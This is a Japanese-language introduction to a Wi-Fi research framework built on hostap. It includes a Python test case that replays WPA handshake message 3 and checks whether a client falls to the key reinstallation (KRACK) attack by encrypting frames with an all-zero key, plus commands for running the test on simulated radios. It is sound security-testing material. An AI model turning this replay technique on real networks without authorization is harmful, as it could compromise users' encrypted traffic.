
Wi-Fi Framework:概念実証、自動実験、テストスイート、ファザーなどの作成のためのフレームワーク。
Wi-Fi 実験をより容易に行うためのフレームワークを紹介します。 ファジングツールの作成、新しい攻撃の実装、脆弱性をテストするための概念実証の作成、実験の自動化、テストスイートの実装などに使用できます。
このフレームワークの主な利点は、Linux の Wi-Fi 機能を再利用して、攻撃やテストをより簡単に実装できることです。 例えば、フレームワークは (保護された) Wi-Fi ネットワークに接続し、クライアントをテストする際にビーコンをブロードキャストできます。 一般に、Linux の任意の Wi-Fi 機能を再利用して、攻撃やテストをより迅速に実装できます。 フレームワークは、hostap ユーザースペースデーモン上で テストケース を実行することでこれを実現します。
Wi-Fi デーモンとフレームワークコンポーネントの概要。
Linux での Wi-Fi 実験の実施に慣れていない場合は、最初に libwifi Linux チュートリアル を読むことを強くお勧めします。 Linux の機能を再利用する必要のない基本的な Wi-Fi 攻撃を実装する場合、フレームワークの利点は限定的であり、代わりに Scapy で直接攻撃を実装し、必要に応じて libwifi ライブラリを使用することを検討できます。
フレームワークを使用するには:
./setup.sh を実行してインストールします。このスクリプトの内容については setup を参照してください。
使用方法チュートリアル をお読みください。
クライアントが全ゼロキーを使用してフレームを暗号化するかどうかをテストしたいとします。 これは 鍵再インストール攻撃 中に発生する可能性があります。 フレームワークを使用すると、アクセスポイントのすべての機能を再実装する必要はなく、以下のテストケースを作成するだけで済みます。
class ExampleKrackZerokey(Test):
name = "example-krack-zero-key"
kind = Test.Authenticator
def __init__(self):
super().__init__([
# Replay 4-Way Handshake Message 3/4.
Action( trigger=Trigger.Connected, action=Action.Function ),
# Receive all frames and search for one encrypted with an all-zero key.
Action( trigger=Trigger.NoTrigger, action=Action.Receive ),
# When we receive such a frame, we can terminate the test.
Action( trigger=Trigger.Received, action=Action.Terminate )
])
def resend(self, station):
# Resend 4-Way Handshake Message 3/4.
station.wpaspy_command("RESEND_M3 " + station.clientmac )
def receive(self, station, frame):
if frame[Dot11].addr2 != station.clientmac or not frame.haslayer(Dot11CCMP):
return False
# Check if CCMP-encrypted frame can be decrypted using an all-zero key
plaintext = decrypt_ccmp(frame.getlayer(Dot11), tk=b"\x00"*16)
if plaintext is None: return False
# We received a valid plaintext frame!
log(STATUS,'Client encrypted a frame with an all-zero key!', color="green")
return True
上記のテストケースは、クライアントが接続できるアクセスポイントを作成します。 クライアントが接続した後、4ウェイハンドシェイクの新しい3番目のメッセージがクライアントに送信されます。 脆弱なクライアントはその後、全ゼロの暗号化キーを使い始め、テストケースが自動的にそれを検出します。
以下のようにシミュレートされた Wi-Fi 無線を使用して上記のテストケースを実行できます:
./setup/setup-hwsim.sh 4
source setup/venv/bin/activate
./run.py wlan1 example-krack-zero-key
作成されたアクセスポイントに接続してテストできます (ネットワーク testnetwork、パスワード passphrase):
./hostap.py wlan2
ネットワーク設定 を変更することで、この AP は WPA2 または WPA3 を使用するように、および/またはエンタープライズ認証を使用するように簡単に設定でき、作成したテストケースに一切の変更を加える必要はありません! この例でフレームワークを使用する追加の利点は次のとおりです:
詳細な例については、すべての例の詳細な説明 を参照してください。
この研究は、ACM Conference on Security and Privacy in Wireless and Mobile Networks (WiSec '21) で発表されました:
このフレームワークまたは類似のものを使用した研究: